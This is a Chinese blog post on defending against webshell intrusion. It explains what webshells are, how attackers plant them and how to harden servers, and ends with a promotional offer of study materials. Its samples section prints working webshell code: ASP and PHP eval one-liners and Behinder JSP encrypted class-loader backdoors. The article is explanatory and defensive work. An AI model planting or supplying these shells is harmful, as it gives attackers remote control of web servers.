如何防范webshell入侵

如何防范webshell入侵

图片

一、前言

在当今的网络社会中,随着互联网技术的快速发展,网络安全问题日益凸显。其中,webshell入侵作为一种常见的攻击手段,给各类网站和网络系统带来了严重的安全威胁。本文将介绍什么是webshell,当前流行的webshell样例,webshell入侵途径以及防范webshell入侵需要做哪些工作,帮助读者更好地了解并防范这一威胁。

二、什么是webshell

Webshell是一种恶意脚本或程序,允许黑客在Web服务器上执行命令,从而对服务器进行控制、窃取数据或发起进一步的攻击。它通常由黑客通过各种手段植入到受害服务器上,一旦成功植入,黑客便可以通过Webshell执行各种操作,例如文件上传、执行系统命令、数据库操作等。

Webshell的名称源自其功能类似于操作系统的命令行shell,但它是通过Web应用程序访问的,而不是直接在操作系统的命令行界面上操作。Webshell可以使用各种编程语言编写,如PHP、ASP、JSP等,因此具有跨平台的特点。

Webshell的目的是为黑客提供对受感染服务器的远程控制和管理权限,使其能够执行恶意操作,包括但不限于窃取敏感信息、篡改网页内容、攻击其他服务器等。由于Webshell具有隐蔽性高、操作方便、攻击路径多样等特点,成为黑客常用的攻击手段之一。

三、webshell样例

以下是一些常见的webshell代码样例。

asp一句话木马程序代码

<%eval request("sb")%>
程序代码
<%execute request("sb")%>
程序代码
<%execute(request("sb"))%>
程序代码
<%execute request("sb")%><%'<% loop <%:%>
程序代码
<%'<% loop <%:%><%execute request("sb")%>
程序代码
<%execute request("sb")'<% loop <%:%>[code]
<script language=vbs runat=server>eval(request("sb"))</script>
程序代码
%><%Eval(Request(chr(35)))%><%
程序代码
<%eval request("sb")%>
程序代码
<%ExecuteGlobal request("sb")%>
程序代码
if Request("sb")<>"" then ExecuteGlobal request("sb") end if
//容错代码
程序代码
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<%
var lcx = {'名字' : Request.form('#'), '性别' : eval, '年龄' : '18', '昵称' : '请叫我一声老大'};
lcx.性别((lcx.名字)+'');
%>
//使用冰狐一句话客户端链接

php一句话

程序代码
<?php eval($_POST[sb])?>
程序代码
<?php @eval($_POST[sb])?> //容错代码
程序代码
<?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>

jsp一句话木马(冰蝎2版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

jsp一句话木马(冰蝎3版本)

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

jsp一句话木马(冰蝎4版本)

<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
    private byte[] Decrypt(byte[] data) throws Exception
    {
        String k="e45e329feb5d925b";
        javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");c.init(2,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES"));
        byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                }
        return c.doFinal(decodebs);

    }
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>

asp一句话木马(菜刀版)

try
{	Response.Write(Environment.OSVersion+"\r\n");
	Response.Write(Request.ServerVariables["SERVER_SOFTWARE"]+"\r\n");
	Response.Write(Environment.UserName+"\r\n");

	Response.Write(Request.ServerVariables["LOCAL_ADDR"]+"\r\n");
}
catch(x)
{
	Response.Write(x.Message);
}

四、webshell入侵方式有哪些

常见的Webshell入侵方式以下类型:

1.利用站点上传漏洞,上传Webshell

系统前台的上传业务可被利用来上传Webshell脚本,而被上传的目录往往对用户开放可执行权限。在Web中有上传图像、资料文件的地方,上传完后通常会向客户端返回上传文件的完整URL信息;该URL一般是常见的image、upload等目录。

如果Web服务器对网站存取权限或者文件夹目录权限控制不严,就可能被利用来实现Webshell攻击。攻击者可以利用上传功能上传一个脚本文件,然后通过URL访问并执行这个脚本;然后攻击者就可以上传Webshell到网站的任意目录中,从而拿到网站的管理员控制权限。

2.利用站点管理后台上传webshell

黑客获取管理员的后台密码,登录到后台系统,利用后台的管理工具向配置文件写入Webshell木马;或者私自添加上传类型,允许上传类似ASP、PHP格式的脚本程序文件。

3.利用数据库备份与恢复功能生成Webshell

例如,备份时把备份文件的后缀改成 .asp;如果后台有MySQL数据查询功能,黑客可以执行select…in To outfile查询输出PHP文件,并把代码插入到MySQL,从而生成Webshell的木马。

4.系统中其他站点被攻击,或者服务器上还搭载了FTP服务器。

FTP服务器被攻击时被注入了Webshell的木马,导致网站系统被感染。

5.黑客直接攻击Web服务器系统漏洞,实现入侵。

Web服务器在系统层面也可能存在漏洞,如果黑客利用其漏洞攻击服务器系统;在获取其权限后,黑客就可以在Web服务器目录里上传Webshell文件。

综上,Webshell能够入侵到系统,一般是由于以下原因:

  • 通过Web站点漏洞上传Webshell。

Webshell能够被注入,在很大程度是由于服务器或中间件的安全漏洞。例如,以下常见漏洞都可能被利用来注入Webshell:旧版本的IIS目录解析漏洞、文件名解析漏洞、应用后台暴露和弱口令、Fast-CGI解析漏洞、Apache文件解析漏洞、截断上传、后台数据库备份功能上传、数据库语句上传漏洞等。

  • 站点部署时混入了Webshell文件。

大量的用户在使用从网上下载的第三方开源代码时,其代码本身已经混入了Webshell的恶意脚本,造成二次入侵或多次入侵。所以在部署前期,如果不是新开发的代码,都需要对代码进行恶意文件扫描查杀,防止上线后被入侵。

五、防范webshell入侵需要做哪些工作

  • 配置必要的防火墙并开启防火墙策略,防止暴露不必要的服务,为黑客提供利用条件。
  • 对服务器进行安全加固。例如,关闭远程桌面功能、定期更换密码、禁止使用最高权限用户运行程序、使用HTTPS加密协议。定期更新系统和软件补丁,以修复已知的漏洞,降低系统被攻击的风险。
  • 限制文件上传的类型和大小,对用户上传的文件进行严格的过滤和检测,防止恶意文件的上传。
  • 加强权限管理,对敏感目录进行权限设置,限制上传目录的脚本执行权限,不允许配置执行权限等。
  • 限制特定目录解析,如,对特定目录(images、upload、js、css、templetes等非存放jsp的目录)禁止解析jsp、jspx、asp、php等文件,例如:可以用Nginx配置进行拦截,返回403状态码。
  • 安装可信赖的安全防护软件,对服务器进行实时监控和防护,及时发现和清除webshell,如安装Webshell检测工具或防病毒软件,发现检测结果后,立即隔离查杀,并排查漏洞。
  • 排查程序存在的漏洞,并及时修补漏洞。您可以通过应急响应服务人工界入,协助排查漏洞及入侵原因,同时可以选用商业WAF(Web应用防火墙)或IPS(入侵防御系统)等进行防御,降低被入侵机率。
  • 在服务器所在网络中部署全流量分析系统,及时发现入侵痕迹从而进行迅速应急响应。

最后

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。

因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2023密码学/隐身术/PWN技术手册大全

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

扫码领取

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值